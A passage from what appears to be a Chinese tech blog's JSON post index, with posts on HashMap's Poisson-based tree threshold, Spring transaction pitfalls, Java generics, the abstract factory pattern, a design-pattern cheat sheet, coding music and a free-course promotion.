* parameter of about 0.5 on average for the default resizing 10 * threshold of 0.75, although with a large variance because of 11 * resizing granularity. Ignoring variance, the expected 12 * occurrences of list size k are (exp(-0.5) * pow(0.5, k) / 13 * factorial(k)). The first values are: 14 * 15 * 0: 0.60653066 16 * 1: 0.30326533 17 * 2: 0.07581633 18 * 3: 0.01263606 19 * 4: 0.00157952 20 * 5: 0.00015795 21 * 6: 0.00001316 22 * 7: 0.00000094 23 * 8: 0.00000006 24 * more: less than 1 in ten million 我们用白话文翻译一下，大概意思就是说：\n因为树结构是链表结构的两倍大小左右，所以当节点足够多的时候我们才会转换为树结构存储，而当它节点足够少的时候，我们又从树结构转换为链表结构。当使用良好的哈希码时，树结构是很少使用到的，理想的情况下，在随机的哈希码下，节点在链表中出现的频率符合泊松分布，在数组调整阈值为0.75的时候，该泊松分布的平均参数约为0.5，因为数组调整的阈值大小对平均参数有很大影响。如果忽略这个影响，列表长度k出现的次数按照泊松分布依次为：\n0: 0.60653066；\n1: 0.30326533；\n2: 0.07581633；\n3: 0.01263606；\n4: 0.00157952；\n5: 0.00015795；\n6: 0.00001316；\n7: 0.00000094；\n8: 0.00000006；\n更大：不足千万分之一；\n因为长度出现8的概率已经足够足够小了，所以说，按照泊松分布，大部分的HashMap其实还是数组+链表结果，不会转换为红黑树。当链表长度为8的时候，概率的计算，就是把8带入到公式中，因为默认调整阈值是0.75的时候，平均值是0.5，所以，求得的概率即为链表长度为8的概率。\n总结 ：容器中节点分布在hash桶中的频率遵循泊松分布，桶的长度超过8的概率非常非常小。所以作者应该是根据概率统计而选择了8作为阀值。\n关注公众号 获取更多精彩内容\n","date":"2020-03-26T08:43:45Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-03-26-jing-dian-mian-shi-ti-zhi-hashmap-yi/cover.jpg","permalink":"/p/2020-03-26-jing-dian-mian-shi-ti-zhi-hashmap-yi/","title":"经典面试题之HashMap(一)"},{"content":"\n很多时候，我们被无情的打断，不得不说，有些工作，比如coding 真的是需要用大量时间注意力高度集中的情况下进行的创造性工作。\n一个好的 🎧 是程序员的标配。 戴上它，打开降噪，世界只有我和代码，进入心流模式。\n那么，平时你在coding 时都听什么音乐呢，其实我很好奇，拿我来说，我听不了有歌词的音乐，因为经常会被歌词带走，搞不好写着写着代码再听惆怅了。所以我一般会听些轻音乐，或者纯音乐比如这些歌单：\nhttps://music.163.com/#/playlist?id=486899256\u0026userid=17572869\nhttps://music.163.com/#/playlist?id=8418150\u0026userid=17572869\n小伙伴们，大家平时在coding时，或者无论你是产品、测试、还是设计，你们平时在工作时都听什么音乐呢，我本人也是一个非常喜欢音乐的人，有什么好音乐欢迎大家在后台分享给我，如果大家热情度高，我会把后台收到的所有好音乐汇总再分享给更多的伙伴。\n关注公众号 获取更多精彩内容\n","date":"2020-03-23T23:55:04Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-03-23-gong-zuo-shi-ni-zai-ting-shen-me-yin-yue/cover.jpg","permalink":"/p/2020-03-23-gong-zuo-shi-ni-zai-ting-shen-me-yin-yue/","title":"工作时你在听什么音乐？"},{"content":"01\n—\nspring的service和dao是单例的\nSpring中DAO和Service默认都是以单实例的bean形式存在，Spring通过ThreadLocal类将有状态的变量（例如数据库连接Connection）本地线程化，从而做到多线程状况下的安全。\n02\n—\n哪些方法不能实施Spring AOP事务\n由于Spring事务管理是基于接口代理或动态字节码技术，通过AOP实施事务增强的。虽然Spring还支持AspectJ LTW在类加载期实施增强，但这种方法很少使用，所以我们不予关注。\n对于基于接口动态代理的AOP事务增强来说，由于接口的方法都必然是public的，这就要求实现类的实现方法也必须是public的（不能是protected、private等），同时不能使用static的修饰符。所以，可以实施接口动态代理的方法只能是使用“public”或“public final”修饰符的方法，其他方法不可能被动态代理，相应的也就不能实施AOP增强，换句话说，即不能进行Spring事务增强了。\n基于CGLib字节码动态代理的方案是通过扩展被增强类，动态创建其子类的方式进行AOP增强植入的。由于使用final、static、private修饰符的方法都不能被子类覆盖，相应的，这些方法将无法实施AOP增强。所以方法签名必须特别注意这些修饰符的使用，以免使方法不小心成为事务管理的漏网之鱼。\n03\n—\n@ Transactional\nprivate 方法上加@Transactional是不生效的\n原因是如果用默认jdk的动态代理是基于接口的，private方法不能被调用，但如果是用CGlib的实现却可以。\n04\n—\n回滚\nSpring FrameWork 的事务框架代码只会将出现runtime, unchecked 异常的事务标记为回滚；也就是说事务中抛出的异常是RuntimeException或者是其子类\nspring默认回滚的异常行为可以查看DefaultTransactionAttribute类\n显式捕获异常导致spring事务回滚失效\n原因：spring事务是通过aop捕获到异常后再执行回滚，如果业务代码中显式捕获了异常，会导致spring捕获不到，回滚自然失败。\n解决办法\n业务代码catch住异常后重新抛出\n使用编程式事务显式回滚\n接口下沉，将需要事务控制的代码分到另一个接口方法中\n1@Override 2public boolean rollbackOn(Throwable ex) { 3return (ex instanceof RuntimeException || ex instanceof Error); 4} 5 6```java 7 805 9 10— 11 12同一个service类中不同方法的相互调用问题 13 14- b方法加事务，a方法不加，结论：b方法上事务不生效！ 15 16```java 17public interface AService { 18 19 public void a(); 20 public void b(); 21} 22 23@Service() 24public class AServiceImpl implements AService{ 25 26 public void a() { 27 this.b(); 28 } 29 @Transactional(rollbackFor={Exception.class}) 30 public void b() { 31 32 insert(); 33 update(); 34 } 35} 36 37```java 38 39 只要给目标类AServiceImpl的某个方法加上注解@Transactional，spring就会为目标类生成对应的代理类，以后调用AServiceImpl中的所有方法都会先走代理类（即使调用未加事务注解的方法a，也会走代理类），即在通过getBean(\u0026#34;AServiceImpl\u0026#34;)获得的业务类时，实际上得到的是一个**代理类**，假设这个类叫做AServiceImplProxy ，spring为AServiceImpl生成的代理类类似于如下代码： 40 41```java 42public class AServiceImplProxy implements AService{ 43 44 public void a() { 45 //反射调用目标类的a方法 46 } 47 48 public void b() { 49 50 //启动事务的代码 51 52 //反射调用目标类的b方法 53 54 //事务提交的代码 55 56 } 57} 58 59```java 60 61 spring事务管理的本质是通过aop为目标类生成动态代理类，并在需要进行事务管理的方法中加入事务管理的横切逻辑代码。 62 63![Image](https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-03-21-spring-shi-wu-guan-li-de-na-xie-keng/002-31d970ba.jpg) 64 65 调用getBean(\u0026#34;AServiceImpl\u0026#34;).a()时，实际上执行的是AServiceImplProxy.a()，代理类的a方法会通过反射调用目标类的a方法， 再在目标类的a方法中调用b方法，故最终a中调用的b方法是来自于AServiceImpl中的b方法，AServiceImpl的b方法并没有横切事务逻辑代码（切记：**事务逻辑代码在代理类中，@Transactional只是标记此方法在代理类中要加入事务逻辑代码**）。**所以调用a方法时，b方法的事务会失效。** 66 67- a、b方法都加事务 结论：a、b合并为一个事务生效 68 69 调用顺序还和上一个情形类似，区别在于在反射调用目标对象的a方法前，会对a方法开启事务管理，虽然调用的b方法还是目标对象中没有加事务逻辑的代码，**spring却会把b合并到a的事务中去，此时相当于只有一个事务。** 70 71- a方法加事务，b方法不加 结论：a、b合并为一个事务生效 72 73 由于b会合并到a的事务中，所以b中的逻辑也可以被事务管理。 74 75 由于a和b都合并到了a的事务中，所以这种情形下事务传递规则不适用。 76 77 **在这种情况下，如果我想让b也执行自己的事务逻辑，即调用b时执行代理类中b方法的事务逻辑，该怎么办？** 78 79 既然只有调用代理类的方法才生效，那么我们只要获取到代理类对象就可以了： 80 81```java 82@Transactional(rollbackFor={Exception.class}) 83 84public void a() { 85 86 ((AService) AopContext.currentProxy()).b(); 87 //即调用AOP代理对象的b方法即可执行事务切面进行事务增强 88 89} 看一下spring的源码就明白了，是这个类 org.springframework.aop.framework.JdkDynamicAopProxy\nspring boot 可以使用这个注解搞定 @EnableAspectJAutoProxy(exposeProxy=true)\n不过最好还是做接口下沉，把b方法分离到另一个接口中，从根源上避免目标对象内部方法自我调用。\n参考 ：\nhttps://juejin.im/entry/5836572767f3560065f1939b\nhttps://docs.spring.io/spring/docs/3.0.0.M3/reference/html/ch04s04.html\n关注公众号 获取更多精彩内容\n","date":"2020-03-21T16:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-03-21-spring-shi-wu-guan-li-de-na-xie-keng/cover.jpg","permalink":"/p/2020-03-21-spring-shi-wu-guan-li-de-na-xie-keng/","title":"spring 事务管理的那些坑"},{"content":"事情是这样的：\n极客时间的创始人池建强说：\n\u0026quot; 3 月 16 日，我们要做一件事，就是给所有企业免费开放我们极客时间上的课程，企业里的每个技术人，可以在极客时间上任意选择三门课程，每人能领取到大约30个学时的课程，免费学习一个月的时间。\n同时还可以领取「每日一课」30 天会员，畅学该模块下的 854 个视频。只要你愿意学，高效利用这一个月，可以收获足够多的研发能力和实战技巧。\u0026quot; 本次免费赠课活动开放了极客时间的全部内容产品，企业可为员工申请最高价值超800元的双重学习福利：\n**福利一：**在极客时间专栏、视频课、微课中任选3门课，学习30天。\n**福利二：**获赠极客时间「每日一课」30天会员，畅学该模块下的854个视频。\n**请在后台留下你的姓名、手机号、邮箱（因为要发短信确认）。将帮你申请到这些福利。具体领取方式是先收到短信，然后在PC端领取，接着就可以用APP学习了。 **\n课程包括以下这些大家熟悉的 关注公众号 获取更多精彩内容\n","date":"2020-03-20T16:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-03-20-bai-piao-ji-ke-shi-jian-ke-cheng-kuai-lai/cover.jpg","permalink":"/p/2020-03-20-bai-piao-ji-ke-shi-jian-ke-cheng-kuai-lai/","title":"白嫖极客时间课程，快来！"},{"content":"泛型的设计初衷：是为了减少类型转换错误产生的安全隐患，而不是为了实现任意化。\n泛型可以应用在类、接口和方法的创建中，分别称为泛型类、泛型接口和泛型方法 泛型类在类名后面用尖括号表示泛型 1public class HelloWorld\u0026lt;T\u0026gt; { 2 3 private T t; 4 public T getValue() { 5 return t; 6 } 7 public void setValue(T t) { 8 this.t = t; 9 } 10} 泛型方法在方法声明中加入泛型 1//这是泛型方法 2static \u0026lt;T\u0026gt; void printHelloWorld(T t){ 3 LOGGER.info(t); 4} 5//这是一个普通方法 6public T getT() { 7 return t; 8} 泛型接口跟类类似 1public interface Generator\u0026lt;T\u0026gt; { 2 public T next(); 3} 4 5```html 6 7**总结：** 8 9- **有\u0026lt;T\u0026gt; 带尖括号的 才能表示是泛型类或方法或接口。而只有T的只能表示是泛型类型** 10 11- 泛型类型的命名并不是必须为T，也可以使用其他字母，如X、K等，只要是命名为单个大写字即可。 12 13- 虽然没有强制的命名规范，但是为了便于代码阅读，也形成了一些约定俗成的命名规范，如下： 14 15\u0026lt;table\u0026gt;\u0026lt;tbody\u0026gt;\u0026lt;tr\u0026gt;\u0026lt;td width=\u0026#34;16\u0026#34; valign=\u0026#34;top\u0026#34; style=\u0026#34;word-break: break-all;\u0026#34;\u0026gt;\u0026lt;span style=\u0026#34;font-size: 14px;\u0026#34;\u0026gt;T\u0026lt;/span\u0026gt;\u0026lt;/td\u0026gt;\u0026lt;td width=\u0026#34;519\u0026#34; valign=\u0026#34;top\u0026#34; style=\u0026#34;word-break: break-all;\u0026#34;\u0026gt;\u0026lt;span style=\u0026#34;font-size: 14px;\u0026#34;\u0026gt;通用泛型类型，通常作为第一个泛型类型\u0026lt;/span\u0026gt;\u0026lt;/td\u0026gt;\u0026lt;/tr\u0026gt;\u0026lt;tr\u0026gt;\u0026lt;td width=\u0026#34;16\u0026#34; valign=\u0026#34;top\u0026#34; style=\u0026#34;word-break: break-all;\u0026#34;\u0026gt;\u0026lt;span style=\u0026#34;font-size: 14px;\u0026#34;\u0026gt;S\u0026lt;/span\u0026gt;\u0026lt;/td\u0026gt;\u0026lt;td width=\u0026#34;519\u0026#34; valign=\u0026#34;top\u0026#34; style=\u0026#34;word-break: break-all;\u0026#34;\u0026gt;\u0026lt;p style=\u0026#34;white-space: normal;\u0026#34;\u0026gt;\u0026lt;span style=\u0026#34;font-size: 14px;\u0026#34;\u0026gt;通用泛型类型，如果需要使用多个泛型类型，可以将S作为第二个泛型类型\u0026lt;/span\u0026gt;\u0026lt;/p\u0026gt;\u0026lt;/td\u0026gt;\u0026lt;/tr\u0026gt;\u0026lt;tr\u0026gt;\u0026lt;td width=\u0026#34;16\u0026#34; valign=\u0026#34;top\u0026#34; style=\u0026#34;word-break: break-all;\u0026#34;\u0026gt;\u0026lt;span style=\u0026#34;font-size: 14px;\u0026#34;\u0026gt;U\u0026lt;/span\u0026gt;\u0026lt;/td\u0026gt;\u0026lt;td width=\u0026#34;519\u0026#34; valign=\u0026#34;top\u0026#34; style=\u0026#34;word-break: break-all;\u0026#34;\u0026gt;\u0026lt;span style=\u0026#34;font-size: 14px;\u0026#34;\u0026gt;通用泛型类型，如果需要使用多个泛型类型，可以将U作为第三个泛型类型\u0026lt;/span\u0026gt;\u0026lt;/td\u0026gt;\u0026lt;/tr\u0026gt;\u0026lt;tr\u0026gt;\u0026lt;td width=\u0026#34;16\u0026#34; valign=\u0026#34;top\u0026#34; style=\u0026#34;word-break: break-all;\u0026#34; height=\u0026#34;32\u0026#34;\u0026gt;\u0026lt;span style=\u0026#34;font-size: 14px;\u0026#34;\u0026gt;V\u0026lt;/span\u0026gt;\u0026lt;/td\u0026gt;\u0026lt;td width=\u0026#34;509\u0026#34; valign=\u0026#34;top\u0026#34; style=\u0026#34;word-break: break-all;\u0026#34; height=\u0026#34;32\u0026#34;\u0026gt;\u0026lt;span style=\u0026#34;font-size: 14px;\u0026#34;\u0026gt;通用泛型类型，如果需要使用多个泛型类型，可以将V作为第四个泛型类型\u0026lt;/span\u0026gt;\u0026lt;/td\u0026gt;\u0026lt;/tr\u0026gt;\u0026lt;tr\u0026gt;\u0026lt;td width=\u0026#34;16\u0026#34; valign=\u0026#34;top\u0026#34; style=\u0026#34;word-break: break-all;\u0026#34;\u0026gt;\u0026lt;span style=\u0026#34;font-size: 14px;\u0026#34;\u0026gt;E\u0026lt;/span\u0026gt;\u0026lt;/td\u0026gt;\u0026lt;td width=\u0026#34;519\u0026#34; valign=\u0026#34;top\u0026#34; style=\u0026#34;word-break: break-all;\u0026#34;\u0026gt;\u0026lt;span style=\u0026#34;font-size: 14px;\u0026#34;\u0026gt;集合元素 泛型类型，主要用于定义集合泛型类型\u0026lt;/span\u0026gt;\u0026lt;/td\u0026gt;\u0026lt;/tr\u0026gt;\u0026lt;tr\u0026gt;\u0026lt;td width=\u0026#34;16\u0026#34; valign=\u0026#34;top\u0026#34; style=\u0026#34;word-break: break-all;\u0026#34;\u0026gt;\u0026lt;span style=\u0026#34;font-size: 14px;\u0026#34;\u0026gt;K\u0026lt;/span\u0026gt;\u0026lt;/td\u0026gt;\u0026lt;td width=\u0026#34;519\u0026#34; valign=\u0026#34;top\u0026#34; style=\u0026#34;word-break: break-all;\u0026#34;\u0026gt;\u0026lt;span style=\u0026#34;font-size: 14px;\u0026#34;\u0026gt;映射-键 泛型类型，主要用于定义映射泛型类型\u0026lt;/span\u0026gt;\u0026lt;/td\u0026gt;\u0026lt;/tr\u0026gt;\u0026lt;tr\u0026gt;\u0026lt;td width=\u0026#34;16\u0026#34; valign=\u0026#34;top\u0026#34; style=\u0026#34;word-break: break-all;\u0026#34;\u0026gt;\u0026lt;span style=\u0026#34;font-size: 14px;\u0026#34;\u0026gt;V\u0026lt;/span\u0026gt;\u0026lt;/td\u0026gt;\u0026lt;td width=\u0026#34;519\u0026#34; valign=\u0026#34;top\u0026#34; style=\u0026#34;word-break: break-all;\u0026#34;\u0026gt;\u0026lt;span style=\u0026#34;font-size: 14px;\u0026#34;\u0026gt;映射-值 泛型类型，主要用于定义映射泛型类型\u0026lt;/span\u0026gt;\u0026lt;/td\u0026gt;\u0026lt;/tr\u0026gt;\u0026lt;tr\u0026gt;\u0026lt;td width=\u0026#34;16\u0026#34; valign=\u0026#34;top\u0026#34; style=\u0026#34;word-break: break-all;\u0026#34;\u0026gt;\u0026lt;span style=\u0026#34;font-size: 14px;\u0026#34;\u0026gt;N\u0026lt;/span\u0026gt;\u0026lt;/td\u0026gt;\u0026lt;td width=\u0026#34;519\u0026#34; valign=\u0026#34;top\u0026#34; style=\u0026#34;word-break: break-all;\u0026#34;\u0026gt;\u0026lt;span style=\u0026#34;font-size: 14px;\u0026#34;\u0026gt;数值 泛型类型，主要用于定义数值类型的泛型类型\u0026lt;/span\u0026gt;\u0026lt;/td\u0026gt;\u0026lt;/tr\u0026gt;\u0026lt;/tbody\u0026gt;\u0026lt;/table\u0026gt; 16 17### 通配符、上下边界、无界 18 19 如果不对泛型类型做限制，则泛型类型可以实例化成任意类型，这种情况可能产生某些安全性隐患。 20 21 为了限制允许实例化的泛型类型，我们需要一种能够限制泛型类型的手段，即：有界泛型类型 22 23```typescript 24// 有界泛型类型语法 - 继承自某父类 25\u0026lt;T extends ClassA\u0026gt; 26 27//有界泛型类型语法 - 实现某接口 28\u0026lt;T extends InterfaceB\u0026gt; 29 30//有界泛型类型语法 - 多重边界 31\u0026lt;T extends ClassA \u0026amp; InterfaceB \u0026amp; InterfaceC ... \u0026gt; 32 33//示例 34//N标识一个泛型类型，其类型只能是Number抽象类的子类 35\u0026lt;N extends Number\u0026gt; 36//T标识一个泛型类型，其类型只能是Person类型的子类，并且实现了Comparable 和 Map接口 37\u0026lt;T extends Person \u0026amp; Comparable \u0026amp; Map\u0026gt; 上边界通配符（\u0026lt;? extends 父类型\u0026gt;） 上界：用 extends 关键字声明，表示参数化的类型可能是所指定的类型，或者是此类型的子类。\n类型参数列表中如果有多个类型参数上限，用逗号分开\n1private \u0026lt;K extends A, E extends B\u0026gt; E test(K arg1, E arg2){} 上边界类型通配符可以确定父类型\n在获取数据时，由于固定了上界，类型肯定是返回类型的子类型，可以通过向上转型成功获取。\n在写入数据时，由于向下转型存在很大风险，Java泛型为了减低类型转换的安全隐患，不允许这种操作。\n1Plate\u0026lt;? extends Fruit\u0026gt; p=new Plate\u0026lt;Apple\u0026gt;(new Apple()); 2 3//不能存入任何元素 4p.set(new Fruit()); //Error 5p.set(new Apple()); //Error 6 7//读取出来的东西只能存放在Fruit或它的基类里。 8Fruit newFruit1=p.get(); 9Object newFruit2=p.get(); 10Apple newFruit3=p.get(); //Error 原因是编译器只知道容器内是Fruit或者它的派生类，但具体是什么类型不知道。可能是Fruit？可能是Apple？也可能是Banana，RedApple，GreenApple？编译器在看到后面用Plate赋值以后，盘子里没有被标上有“苹果”。而是标上一个占位符：CAP#1，来表示捕获一个Fruit或Fruit的子类，具体是什么类不知道，代号CAP#1。然后无论是想往里插入Apple或者Meat或者Fruit编译器都不知道能不能和这个CAP#1匹配，所以就都不允许。 下边界通配符（\u0026lt;? super 子类型\u0026gt;） 下界通配符\u0026lt;? super T\u0026gt;不影响往里面存储，但是读取出来的数据只能是Object类型。\n和上界相对的就是下界 ，语法表示为：\u0026lt;? super T\u0026gt;\n1Plate\u0026lt;? super Fruit\u0026gt; p=new Plate\u0026lt;Fruit\u0026gt;(new Fruit()); 2 3//存入元素正常 4p.set(new Fruit()); 5p.set(new Apple()); 6 7//读取出来的东西只能存放在Object类里。 8Apple newFruit3=p.get(); //Error 9Fruit newFruit1=p.get(); //Error 10Object newFruit2=p.get(); 因为下界规定了元素的最小粒度的下限，实际上是放松了容器元素的类型控制。既然元素是Fruit的基类，那往里存粒度比Fruit小的都可以。但往外读取元素就费劲了，只有所有类的基类Object对象才能装下。但这样的话，元素的类型信息就全部丢失。 频繁往外读取内容的，适合用上界Extends。\n经常往里插入的，适合用下界Super。\n无边界通配符（\u0026lt;?\u0026gt;） 无边界通配符\u0026lt;?\u0026gt; 等同于上边界通配符\u0026lt;? extends Object\u0026gt;，所以关于无边界通配符（\u0026lt;?\u0026gt;）就很好理解了。 因为可以确定父类型是Object，所以可以以Object去获取数据（向上转型）。但是不能写入数据。 与\u003c?\u003e的区别 ？和 T 都表示不确定的类型，区别在于我们可以对 T 进行操作，但是对 ？不行，比如如下这种 ： 1// 可以 2T t = operate(); 3// 不可以 4？car = operate(); T 是一个 确定的类型，通常用于泛型类和泛型方法的定义 ？是一个 不确定的类型，通常用于泛型方法的调用代码和形参，不能用于定义类和泛型方法。 类型参数 T 只具有 一种 类型限定方式： 1T extends A 但是通配符 ? 可以进行 两种限定： 1? extends A 2? super A T 可以多重限定 而 ? 不行 1\u0026lt;T extends ClassA \u0026amp; InterfaceB \u0026amp; InterfaceC ... \u0026gt; 2 3```java 4 5### 泛型使用的限制 6 7### 泛型不能使用基本类型 8 9```cpp 10// 编译前类型检查报错 11List\u0026lt;int\u0026gt; list = new List\u0026lt;int\u0026gt;(); 泛型不允许进行实例化 1\u0026lt;T\u0026gt; void test(T t){ 2 //编译前类型检查报错 3 t = new T(); 4} 5 6```java 7 8### 泛型不允许进行静态化 9 10```cpp 11static class Demo\u0026lt;T\u0026gt;{ 12 // 编译前类型检查报错 13 private static T t; 14 15 // 编译前类型检查报错 16 public static T getT() { 17 return t; 18 } 19 } 20 21```java 22 23### 泛型不允许直接进行类型转换（通配符可以） 24 25```php 26List\u0026lt;Integer\u0026gt; integerList = new ArrayList\u0026lt;Integer\u0026gt;(); 27List\u0026lt;Double\u0026gt; doubleList = new ArrayList\u0026lt;Double\u0026gt;(); 28//不能直接进行类型转换，类型检查报错 29//integerList = doubleList; 泛型不允许直接使用instanceof运算符进行运行时类型检查（通配符可以） 1List\u0026lt;String\u0026gt; stringList = new ArrayList\u0026lt;String \u0026gt;(); 2//不能直接使用instanceof，类型检查报错 3//LOGGER.info(stringList instanceof ArrayList\u0026lt;Double\u0026gt;); 4//我们可以通过通配符的方式进行instanceof运行期检查（不建议）： 5//通过通配符实现运行时验证 6LOGGER.info(stringList instanceof ArrayList\u0026lt;?\u0026gt;); 泛型不允许创建确切类型的泛型数组（通配符可以） 1//类型检查报错 2//Demo6\u0026lt;Integer\u0026gt;[] iDemo6s = new Demo6\u0026lt;Integer\u0026gt;[2]; 泛型不允许定义泛型异常类或者catch异常（throws可以） 不允许定义泛型异常类（直接或间接扩展Throwable类）\n不允许捕获一个泛型异常\n可以以异常类作为边界\n可以throws泛型类型\n泛型不允许作为参数进行重载\n1static class Demo8\u0026lt;T\u0026gt;{ 2 void test(List\u0026lt;Integer\u0026gt; list){} 3 //不允许作为参数列表进行重载 4 //void test(List\u0026lt;Double\u0026gt; list){} 5} 参考 ：\nhttps://blog.csdn.net/hanchao5272/article/details/79346471\nhttps://stackoverflow.com/questions/2723397/what-is-pecs-producer-extends-consumer-super\nhttps://guofeng007.com/2018/03/01/java-super-extends-template/#%E4%BB%80%E4%B9%88%E6%98%AF%E4%B8%8B%E7%95%8C\nhttps://blog.csdn.net/hanchao5272/article/details/79352321\n关注公众号 获取更多精彩内容\n","date":"2020-03-17T09:30:49Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-03-17-guan-yu-java-fan-xing-ni-ying-gai-zhi-dao-de-na-xie-shi-er/cover.jpg","permalink":"/p/2020-03-17-guan-yu-java-fan-xing-ni-ying-gai-zhi-dao-de-na-xie-shi-er/","title":"关于java泛型你应该知道的那些事儿"},{"content":"关于工厂模式三兄弟（简单工厂、工厂方法、抽象工厂），前两个兄弟比较容易懂，基本一看就明白，第三位兄弟初看起来确实有些抽象，网上看到一个例子讲的很好，分享给大家，保证一看就明白。\n文末给出系列文章出处。\nSunny软件公司欲开发一套界面皮肤库，可以对Java桌面软件进行界面美化。为了保护版权，该皮肤库源代码不打算公开，而只向用户提供已打包为jar文件的class字节码文件。用户在使用时可以通过菜单来选择皮肤，不同的皮肤将提供视觉效果不同的按钮、文本框、组合框等界面元素，其结构示意图如图所示：\n图1 界面皮肤库结构示意图\n该皮肤库需要具备良好的灵活性和可扩展性，用户可以自由选择不同的皮肤，开发人员可以在不修改既有代码的基础上增加新的皮肤。\nSunny软件公司的开发人员针对上述要求，决定使用工厂方法模式进行系统的设计，为了保证系统的灵活性和可扩展性，提供一系列具体工厂来创建按钮、文本框、组合框等界面元素，客户端针对抽象工厂编程，初始结构如图所示：\n图2 基于工厂方法模式的界面皮肤库初始结构图\n在图2中，提供了大量工厂来创建具体的界面组件，可以通过配置文件更换具体界面组件从而改变界面风格。但是，此设计方案存在如下问题：\n(1) 当需要增加新的皮肤时，虽然不要修改现有代码，但是需要增加大量类，针对每一个新增具体组件都需要增加一个具体工厂，类的个数成对增加，这无疑会导致系统越来越庞大，增加系统的维护成本和运行开销；\n(2) 由于同一种风格的具体界面组件通常要一起显示，因此需要为每个组件都选择一个具体工厂，用户在使用时必须逐个进行设置，如果某个具体工厂选择失误将会导致界面显示混乱，虽然我们可以适当增加一些约束语句，但客户端代码和配置文件都较为复杂。\n如何减少系统中类的个数并保证客户端每次始终只使用某一种风格的具体界面组件？这是Sunny公司开发人员所面临的两个问题，显然，工厂方法模式无法解决这两个问题，别着急，本文所介绍的抽象工厂模式可以让这些问题迎刃而解。\nSunny公司开发人员使用抽象工厂模式来重构界面皮肤库的设计，其基本结构如图所示：\n如果需要更换皮肤，只需修改配置文件即可，在实际环境中，我们可以提供可视化界面，例如菜单或者窗口来修改配置文件，用户无须直接修改配置文件。如果需要增加新的皮肤，只需增加一族新的具体组件并对应提供一个新的具体工厂，修改配置文件即可使用新的皮肤，原有代码无须修改，符合“开闭原则”。\n扩展\n在真实项目开发中，我们通常会为配置文件提供一个可视化的编辑界面，类似Struts框架中的struts.xml编辑器，大家可以自行开发一个简单的图形化工具来修改配置文件，实现真正的纯界面操作。\n本文并没有展开讲抽象工厂模式的方方面面，只是用一个例子，让大家对这个设计模式有个直观的感受，让它“落地”到实例中，建议大家看看下面的系列文章（认真看用不了多久），我也是从这里摘取的例子。\n以下为文章参考出处: 《工厂三兄弟之抽象工厂模式》 https://github.com/quanke/design-pattern-java/blob/master/%E5%B7%A5%E5%8E%82%E4%B8%89%E5%85%84%E5%BC%9F%E4%B9%8B%E6%8A%BD%E8%B1%A1%E5%B7%A5%E5%8E%82%E6%A8%A1%E5%BC%8F%EF%BC%88%E4%B8%80%EF%BC%89.md\nhttps://github.com/quanke/design-pattern-java/blob/master/%E5%B7%A5%E5%8E%82%E4%B8%89%E5%85%84%E5%BC%9F%E4%B9%8B%E6%8A%BD%E8%B1%A1%E5%B7%A5%E5%8E%82%E6%A8%A1%E5%BC%8F%EF%BC%88%E4%BA%8C%EF%BC%89.md\nhttps://github.com/quanke/design-pattern-java/blob/master/%E5%B7%A5%E5%8E%82%E4%B8%89%E5%85%84%E5%BC%9F%E4%B9%8B%E6%8A%BD%E8%B1%A1%E5%B7%A5%E5%8E%82%E6%A8%A1%E5%BC%8F%EF%BC%88%E4%B8%89%EF%BC%89.md\nhttps://github.com/quanke/design-pattern-java/blob/master/%E5%B7%A5%E5%8E%82%E4%B8%89%E5%85%84%E5%BC%9F%E4%B9%8B%E6%8A%BD%E8%B1%A1%E5%B7%A5%E5%8E%82%E6%A8%A1%E5%BC%8F%EF%BC%88%E5%9B%9B%EF%BC%89.md\nhttps://github.com/quanke/design-pattern-java/blob/master/%E5%B7%A5%E5%8E%82%E4%B8%89%E5%85%84%E5%BC%9F%E4%B9%8B%E6%8A%BD%E8%B1%A1%E5%B7%A5%E5%8E%82%E6%A8%A1%E5%BC%8F%EF%BC%88%E4%BA%94%EF%BC%89.md\n关注公众号 获取更多精彩内容\n","date":"2020-03-15T16:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-03-15-yi-ge-shi-li-gao-dong-chou-xiang-gong-chang-mo-shi/cover.jpg","permalink":"/p/2020-03-15-yi-ge-shi-li-gao-dong-chou-xiang-gong-chang-mo-shi/","title":"一个实例搞懂抽象工厂模式"},{"content":"**设计模式学完容易忘? **\n**设计新东西时，不知道用哪个？ **\n知道用哪个模式又开始手忙脚乱的一通查？\n面试让画个设计模式的UML图拉了胯？\n你碰到的问题很多人都有\n早在2007年国外的Jason McDonald小哥就为我们整理出了一个超精简版设计模式文件（文末有下载链接 ，大家可以去下载原PDF文件）\n所谓精简版，既没有详细地论证和介绍每一个模式，而是让在你有一定理论基础的情况下，通过这个文件快速回顾或回忆起来。如果你对每一种设计模式还不清楚，建议还是先认认真真学习一遍（比如看四人帮写的相关书籍），不然看了也不深刻。\n设计模式分类 这23种设计模式，可以分为三类，如下图所示 蓝色的C就是创建型模式\n绿色的B就是行为型模式\n橙色的S就是结构型模式\n责任链模式 命令模式 解释器模式 迭代器模式 中介者模式 备忘录模式 观察者模式 状态模式 策略模式 模版模式 访问者模式 适配器模式 桥接模式 组合模式 装饰器模式 门面模式 享元模式 代理模式 抽象工厂模式 构造器模式 工厂方法模式 原型模式 单例模式 完整PDF文件可以通过这个链接下载：\nhttp://www.mcdonaldland.info/files/designpatterns/designpatternscard.pdf 关注公众号 获取更多精彩内容\n","date":"2020-03-14T16:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-03-14-she-ji-mo-shi-mei-shi-jian-xue-yi-tu-dai-ni-gao-ding-23-zhon/cover.jpg","permalink":"/p/2020-03-14-she-ji-mo-shi-mei-shi-jian-xue-yi-tu-dai-ni-gao-ding-23-zhon/","title":"设计模式没时间学？(一图带你搞定23种设计模式)"},{"content":"TCP、UDP区别？ 